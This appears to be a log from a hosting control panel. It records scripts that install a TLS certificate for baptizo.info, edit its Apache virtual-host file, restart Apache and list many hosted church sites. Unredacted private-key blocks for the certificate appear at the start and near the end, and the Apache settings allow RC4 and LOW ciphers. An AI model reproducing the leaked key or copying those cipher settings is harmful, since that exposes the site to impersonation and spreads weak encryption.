lgAABAMASDBGAiEA9jmXv86nNnPWvGybARcOz8LDPGYrHobFlV08ZOE2GzsCIQCm
npNwW3l5ECw2meuCYYc64RlT6U7qRLKXnOPfOOzmMAB2AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABm2OLVeIAAAQDAEcwRQIhAMvoWluaTObtoVy/
C0hzZwXcqzMXwXOg4HHUXOmxC6QqAiB7C+hPF+fPIyBtnnfu6JHYSEelayQAHvfR
gdV3wjh4GzANBgkqhkiG9w0BAQsFAAOCAQEAVaugpCT2XvdtgYQCy3yrPAc1Ghwd
cmFGIbr64BKWuXJaUTMZG1rthKzo4XARKbrGd6+URNsxhuAzykWDPdeUNCSikJaO
4reFzNxaynH7d3vjwEIovJ6eKD+RkfjqY9xrBWNYUQxBOSKeIutWWDIyj4UudYet
aUnhrF+7Wytx78tMx3kiIz5n6HEfcyuMrNAZfvZJSHgm9GX3oN53XBUlmD3xPmD/
yxPFVLkNferluFO2q6dI4Wi861bDKSw7rSL/3LifCc5YLK6ZGjy65TU5z7tFVxIe
GePf2YXQHVpKDm9txnXlONzhWJKevtBMNwioUh8qAPgXzA150AGlM8mk7g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDG87IFN5sovfmQ
IQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nqtRk4yuJBSex2
jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHzp+1GXVpp5ypR
HPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Qyi5uUYX1UyBn
uPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOwJwGjbBjYlMaE
J9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YLfEmHDubNlW6Z
07QrFSS5AgMBAAECggEAKqifq/M1m3mKjJ8t8okOrtrpj6n2/azOkTi4DCccSQYi
/tSWxgvdnRwRJMYyDxHXiC4vG4iTFW04nN3u9JXN1ZAV0MtEUMhpT+BRaQNatVO7
Pl5a4R1UyN4q29y+dyj2iThhTcRgCdOldPF4njes8dEBj9CnXzNZ2U2hzG54g8L9
vKSltWCen0dYWlmVTUzNNreR4Xt4IKpKifgpePNx913smq5l+6GmpdLj+AyvGSWZ
xuuWu4TUPxR34A8nv15Et7NB2ZKeC/jHrtR0U3BDUVYsrvVsUigx9EvTxAowu9TV
QhwNIrBGo+bZgJX5kDXm3zuENY1DWfxSOf8EJIYlVQKBgQD1NG/REjGUyE6lbdyJ
x/Nd3JOxpBgjRkjoqveoU20TAW0qdasWYA6E/BFHJZ2esYcpnpyxDIG7/2531XVR
ZIQLNS60ip9U2U7EYGysk1ZXflRyz6w9cnSr9rXKGgyf5n2LzQeI4RPtC60H5NNu
SoVvlO/QSPhB4O/+ioPWYdKOTQKBgQDPtff9MGiN7HV5s0tdHxsCwD9P6gfNz4Tf
ujEbK9LZoPzRfXSYLhkBEHxrtdShLmhSKnIJGuyIswc2PROGeZ8pLP51NM9qA354
q9L7YA/a2GeGeMNHwjnswyg3IVpl9sBOUWXJE2Zs29c17qZElrr1msyqMTtXTszZ
EMdUwsYeHQKBgDmUzMVN/nKv7zgN6oI4gEAEcnJ+1GRENw7cRzgyDyUtapNT+o9Q
k1hLUUth2/fOPK1bX/R7uWOKgkiFyf0JG7D+Fi+zdeMY/NREyIBmQRpewjoL5qiv
XhKb5ujE4T4ThFv2E9Ti9ijuWv3FkJkPyvH/Canh2NqvlewyXu9THXzpAoGBALD+
SXwpVN6jAJOcsXp/d//HG+wX62B4FayjNxcFJ92krepBMio/FbVve+Y4giB6sBBb
9OJHXAk8LMgOEWZEmth2a7oqLxgSNCHVoKnteHUudEEFBLpQChXzUoBv3l0Gf2X9
PHO0IVJfnqppWqsVmeiRaRcZbox+LFZHUuOqOTINAoGAXAprnTTdMdC6m9BGfXJQ
gYvxTaR2ali/KVJSTx/G8Z7LDgp6hsXiQEdGFqaU3ZydCzyOfn4i4e/xNwnzmzDB
+1Ab+LVYSrdTfyfV8ImbYTrFqrOQIiuYGD4VSXRnDM/KWmXf0UYM2gATkvNZmtFT
9CgANuLJWF3OatgOF9z3EQU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-28 06:00:35: 

chmod 755 /tmp/pkp471119; /tmp/pkp471119; rm /tmp/pkp471119

2025-12-28 06:00:35: 


dir=/etc/ssl/certs


2025-12-28 06:00:35: 

PUT: /tmp/pkp216560

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-28 06:00:35: 

chmod 755 /tmp/pkp216560; /tmp/pkp216560; rm /tmp/pkp216560

2025-12-28 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-28 06:00:35: 

PUT: /tmp/pkp598483

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi


2025-12-28 06:00:35: 

chmod 755 /tmp/pkp598483; /tmp/pkp598483; rm /tmp/pkp598483

2025-12-28 06:00:35: 




2025-12-28 06:00:35: 

PUT: /tmp/pkp776065

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-28 06:00:35: 

chmod 755 /tmp/pkp776065; /tmp/pkp776065; rm /tmp/pkp776065

2025-12-28 06:00:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-28 06:00:35: Establishing a connection
2025-12-28 06:00:36: 

PUT: /tmp/pkp600138

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-28 06:00:36: 

chmod 755 /tmp/pkp600138; /tmp/pkp600138; rm /tmp/pkp600138

2025-12-28 06:00:36: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-28 06:00:36: 

PUT: /tmp/pkp312574

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:36: 

chmod 755 /tmp/pkp312574; /tmp/pkp312574; rm /tmp/pkp312574

2025-12-28 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf	1355

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-28 06:00:36: 

PUT: /tmp/pkp350382

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:36: 

chmod 755 /tmp/pkp350382; /tmp/pkp350382; rm /tmp/pkp350382

2025-12-28 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt	5368
36:bb:aa:02:70:c4:8c:46:58:fa:7a:1b:64:2a:53:c9

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBVt6HzhaCRTuB2Nn6F46fQGxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjA0WhcNMjYwMzI4MDUwMjAzWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDG
87IFN5sovfmQIQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nq
tRk4yuJBSex2jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHz
p+1GXVpp5ypRHPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Q
yi5uUYX1UyBnuPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOw
JwGjbBjYlMaEJ9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YL
fEmHDubNlW6Z07QrFSS5AgMBAAGjggIvMIICKzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFDtSliW9F8ANW35I7i9Sud6lhjbcMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGbY4tV
lgAABAMASDBGAiEA9jmXv86nNnPWvGybARcOz8LDPGYrHobFlV08ZOE2GzsCIQCm
npNwW3l5ECw2meuCYYc64RlT6U7qRLKXnOPfOOzmMAB2AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABm2OLVeIAAAQDAEcwRQIhAMvoWluaTObtoVy/
C0hzZwXcqzMXwXOg4HHUXOmxC6QqAiB7C+hPF+fPIyBtnnfu6JHYSEelayQAHvfR
gdV3wjh4GzANBgkqhkiG9w0BAQsFAAOCAQEAVaugpCT2XvdtgYQCy3yrPAc1Ghwd
cmFGIbr64BKWuXJaUTMZG1rthKzo4XARKbrGd6+URNsxhuAzykWDPdeUNCSikJaO
4reFzNxaynH7d3vjwEIovJ6eKD+RkfjqY9xrBWNYUQxBOSKeIutWWDIyj4UudYet
aUnhrF+7Wytx78tMx3kiIz5n6HEfcyuMrNAZfvZJSHgm9GX3oN53XBUlmD3xPmD/
yxPFVLkNferluFO2q6dI4Wi861bDKSw7rSL/3LifCc5YLK6ZGjy65TU5z7tFVxIe
GePf2YXQHVpKDm9txnXlONzhWJKevtBMNwioUh8qAPgXzA150AGlM8mk7g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDG87IFN5sovfmQ
IQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nqtRk4yuJBSex2
jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHzp+1GXVpp5ypR
HPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Qyi5uUYX1UyBn
uPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOwJwGjbBjYlMaE
J9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YLfEmHDubNlW6Z
07QrFSS5AgMBAAECggEAKqifq/M1m3mKjJ8t8okOrtrpj6n2/azOkTi4DCccSQYi
/tSWxgvdnRwRJMYyDxHXiC4vG4iTFW04nN3u9JXN1ZAV0MtEUMhpT+BRaQNatVO7
Pl5a4R1UyN4q29y+dyj2iThhTcRgCdOldPF4njes8dEBj9CnXzNZ2U2hzG54g8L9
